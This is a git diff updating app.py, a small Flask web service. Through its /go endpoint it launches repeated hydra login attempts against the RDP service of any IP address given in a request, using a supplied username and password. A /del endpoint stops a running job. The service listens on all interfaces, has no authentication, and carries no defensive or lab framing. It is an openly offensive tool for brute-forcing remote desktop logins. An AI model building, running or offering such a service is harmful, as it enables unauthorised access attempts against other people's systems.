Update app.py

app.py

@@ -1,19 +1,32 @@
 import subprocess
 import re
+from time import sleep
 import requests
+import asyncio
+import threading
+import time
 from flask import Flask, request
-from apscheduler.schedulers.asyncio import AsyncIOScheduler
 app = Flask(__name__)
 
-scheduler = AsyncIOScheduler()
-scheduler.start()
-def check(ip,user,pas):
-    print("شروع")
-    command = ["hydra", "-t", "4", "-l", f"{user}", "-p", f"{pas}", f"rdp://{ip}"]
-    result = subprocess.run(command, capture_output=True, text=True)
-    output = result.stdout
-    print(output)
-    return 
+task_ids = {}  # دیکشنری برای ذخیره ایدی و thread object ها
+
+async def test_function(ip,user,pas,task_id):
+    while task_id in task_ids:
+        command = ["hydra", "-t", "4", "-l", f"{user}", "-p", f"{pas}", f"rdp://{ip}"]
+        result = subprocess.run(command, capture_output=True, text=True)
+        
+async def ejra(ip,user,pas,task_id):
+    task_ids[task_id] = asyncio.create_task(test_function(ip,user,pas,task_id))
+
+def stop_task(task_id):
+    if task_id in task_ids:
+        task = task_ids[task_id]
+        task.cancel()
+        del task_ids[task_id]
+        print(f"Task {task_id} stopped.")
+    else:
+        print(f"Task {task_id} not found.")
+        
 
 @app.route('/', methods=['GET'])
 def index():
@@ -24,15 +37,22 @@ def go():
     ip = request.args.get('ip')
     user = request.args.get('user')
     pas = request.args.get('pas')
-    job = scheduler.add_job(check, 'interval', seconds=0,args=[ip, user, pas])
-    return job.id
-
+    
+    task_id = len(task_ids) + 1
+    threading.Thread(target=lambda: asyncio.run(ejra(ip,user,pas,task_id))).start()
+    
+    return f"Job started with ID: {task_id}"
 
 @app.route('/del', methods=['GET'])
 def killjob():
-    id = request.args.get('id')
-    scheduler.remove_job(id)
-    return "OK"
+    task_id = int(request.args.get('id'))
+    if task_id in task_ids:
+        task = task_ids[task_id]
+        task.cancel()
+        del task_ids[task_id]
+        return f"Task {task_id} stopped."
+    else:
+        return f"Task {task_id} not found."
     
 if __name__ == '__main__':
     app.run(host="0.0.0.0", port=7860)